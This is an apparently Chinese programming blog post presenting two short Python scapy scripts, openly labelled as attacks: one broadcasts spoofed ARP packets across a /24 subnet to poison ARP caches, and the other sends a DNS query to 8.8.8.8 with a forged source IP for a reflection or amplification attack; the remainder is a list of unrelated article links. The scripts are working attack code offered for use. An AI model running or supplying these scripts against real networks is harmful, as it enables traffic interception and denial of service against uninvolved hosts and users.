Python中使用scapy模拟数据包实现arp攻击、dns放大攻击例子


Posted in Python onOctober 23, 2014

scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。

这里就直接用python的scapy搞。

这里是arp的攻击方式,你可以做成arp攻击。

#!/usr/bin/python

"""

ARP attack

"""

import sys, os

from scapy.all import *

if os.geteuid() != 0:

    print "This program must be run as root. Aborting."

    sys.exit()
if len(sys.argv) < 2:

    print "Pkease Use %s x.x.x" % (sys.argv[0])

    exit()

attackIP = sys.argv[1] + ".0/24"

srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.1.100", hwsrc="00:66:66:66:66:66"), timeout=2)

dns放大攻击

#coding:utf-8

from scapy import *

from scapy.all import *
a = IP(dst='8.8.8.8',src='192.168.1.200') #192.168.1.200 为伪造的源ip

b = UDP(dport=53)

c = DNS(id=1,qr=0,opcode=0,tc=0,rd=1,qdcount=1,ancount=0,nscount=0,arcount=0)

c.qd=DNSQR(qname='www.qq.com',qtype=1,qclass=1)

p = a/b/c

send(p)

~
Python 相关文章推荐
Python实现全局变量的两个解决方法
Jul 03 Python
python中getaddrinfo()基本用法实例分析
Jun 28 Python
Python优先队列实现方法示例
Sep 21 Python
python实现多线程网页下载器
Apr 15 Python
Python爬虫实现简单的爬取有道翻译功能示例
Jul 13 Python
python paramiko利用sftp上传目录到远程的实例
Jan 03 Python
Python Numpy库安装与基本操作示例
Jan 08 Python
Python程序包的构建和发布过程示例详解
Jun 09 Python
Python创建数字列表的示例
Nov 28 Python
win10系统Anaconda和Pycharm的Tensorflow2.0之CPU和GPU版本安装教程
Dec 03 Python
Python爬虫之爬取二手房信息
Apr 27 Python
详细总结Python常见的安全问题
May 21 Python
使用Python开发windows GUI程序入门实例
Oct 23 #Python
手动实现把python项目发布为exe可执行程序过程分享
Oct 23 #Python
python文件操作整理汇总
Oct 21 #Python
Python中input和raw_input的一点区别
Oct 21 #Python
Python中if __name__ == &quot;__main__&quot;详细解释
Oct 21 #Python
Python创建文件和追加文件内容实例
Oct 21 #Python
python3生成随机数实例
Oct 20 #Python
You might like
第三章 php操作符与控制结构代码
2011/12/30 PHP
搭建基于Docker的PHP开发环境的详细教程
2015/07/01 PHP
基于PHP常用文件函数和目录函数整理
2017/08/17 PHP
繁简字转换功能
2006/07/19 Javascript
jQuery结合PHP+MySQL实现二级联动下拉列表[实例]
2011/11/15 Javascript
在图片上显示左右箭头类似翻页的代码
2013/03/04 Javascript
js使用for循环与innerHTML获取选中tr下td值
2014/09/26 Javascript
微信小程序 触控事件详细介绍
2016/10/17 Javascript
微信小程序 开发工具快捷键整理
2016/10/31 Javascript
JavaScript递归操作实例浅析
2016/10/31 Javascript
走进javascript——不起眼的基础,值和分号
2017/02/24 Javascript
手机端转换rem适应
2017/04/01 Javascript
AngularJS读取JSON及XML文件的方法示例
2017/05/25 Javascript
详解react-webpack2-热模块替换[HMR]
2017/08/03 Javascript
seajs中模块依赖的加载处理实例分析
2017/10/10 Javascript
微信小程序swiper使用网络图片不显示问题解决
2019/12/13 Javascript
解决Vue @submit 提交后不刷新页面问题
2020/07/18 Javascript
JS+Canvas实现五子棋游戏
2020/08/26 Javascript
js将日期格式转换为YYYY-MM-DD HH:MM:SS
2020/09/18 Javascript
layui使用及简单的三级联动实现教程
2020/12/01 Javascript
[01:25]2015国际邀请赛最佳短片奖——斧王《拆塔英雄:天赋异禀》
2015/09/22 DOTA
python pandas中DataFrame类型数据操作函数的方法
2018/04/08 Python
python去掉 unicode 字符串前面的u方法
2018/10/21 Python
关于python导入模块import与常见的模块详解
2019/08/28 Python
python反转列表的三种方式解析
2019/11/08 Python
python 输出列表元素实例(以空格/逗号为分隔符)
2019/12/25 Python
Python搭建Keras CNN模型破解网站验证码的实现
2020/04/07 Python
互动出版网:专业书籍
2017/03/21 全球购物
Clearly澳大利亚:购买眼镜、太阳镜和隐形眼镜
2018/04/26 全球购物
美国鲜花递送:UrbanStems
2021/01/04 全球购物
.NET面试问题集
2015/12/08 面试题
禁毒主题班会教案
2015/08/14 职场文书
关于vue中如何监听数组变化
2021/04/28 Vue.js
浅谈mysql返回Boolean类型的几种情况
2021/06/04 MySQL
Pygame Rect区域位置的使用(图文)
2021/11/17 Python
Windows11里微软已经将驱动程序安装位置A盘删除
2021/11/21 数码科技